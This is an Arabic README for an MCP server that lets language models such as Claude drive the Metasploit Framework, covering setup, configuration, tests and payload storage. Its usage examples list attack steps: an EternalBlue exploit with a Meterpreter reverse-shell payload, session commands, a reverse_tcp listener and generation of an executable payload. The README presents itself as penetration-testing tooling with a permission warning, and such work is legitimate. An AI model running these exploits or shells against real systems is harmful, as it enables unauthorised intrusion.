خادم MCP لـ Metasploit
خادم Model Context Protocol (MCP) لتكامل إطار عمل Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
يوفر خادم MCP هذا جسرًا بين نماذج اللغة الكبيرة مثل Claude ومنصة اختبار الاختراق Metasploit Framework. يسمح للمساعدين الأذكياء بالوصول إلى وظائف Metasploit والتحكم فيها ديناميكيًا من خلال أدوات موحّدة، ما يتيح واجهة لغة طبيعية لسير عمل اختبار الأمان المعقدة.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
شغّل خدمة Metasploit RPC:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
يدعم الخادم طريقتين للنقل:
يمكنك تحديد وضع النقل صراحةً باستخدام الخيار --transport:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
خيارات إضافية لوضع HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
للتكامل مع Claude Desktop، قم بتهيئة claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
بالنسبة لعملاء MCP الآخرين الذين يستخدمون HTTP/SSE:
شغّل الخادم في وضع HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
قم بتهيئة عميل MCP للاتصال بـ:
http://your-server-ip:8085/sse⚠️ تحذير أمني مهم:
توفر هذه الأداة وصولًا مباشرًا إلى قدرات Metasploit Framework، والتي تشمل ميزات استغلال قوية. استخدمها بمسؤولية وفقط في البيئات التي لديك فيها إذن صريح لإجراء اختبار الأمان.
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)يتضمن هذا المشروع اختبارات وحدة وتكامل شاملة لضمان الموثوقية وقابلية الصيانة.
تثبيت تبعيات الاختبار:
pip install -r requirements-test.txt
أو استخدم المُثبّت المريح:
python run_tests.py --install-deps
# OR
make install-deps
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
tests/test_options_parsing.py: اختبارات وحدة لوظيفة تحليل الخيارات المتسامحةtests/test_helpers.py: اختبارات وحدة للدوال المساعدة الداخلية وإدارة عميل MSFtests/test_tools_integration.py: اختبارات تكامل لجميع أدوات MCP مع خلفية Metasploit وهميةconftest.py: إعدادات وتركيبات اختبار مشتركةpytest.ini: إعدادات pytest مع خيارات التغطيةبعد تشغيل الاختبارات مع التغطية، تتوفر التقارير في:
htmlcov/index.html (عند استخدام خيار --html)للتكامل المستمر:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
بشكل افتراضي، تُحفظ الحمولات المولدة باستخدام generate_payload في دليل payloads داخل مجلد منزلك (~/payloads أو C:\Users\YourUsername\payloads). يمكنك تخصيص هذا الموقع عن طريق تعيين متغير البيئة PAYLOAD_SAVE_DIR.
تعيين متغير البيئة:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
في إعداد Claude Desktop:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
ملاحظة: إذا حددت مسارًا مخصصًا، فتأكد من وجوده أو أن التطبيق لديه إذن بإنشائه. إذا كان المسار غير صالح، فقد يفشل توليد الحمولة.
Apache 2.0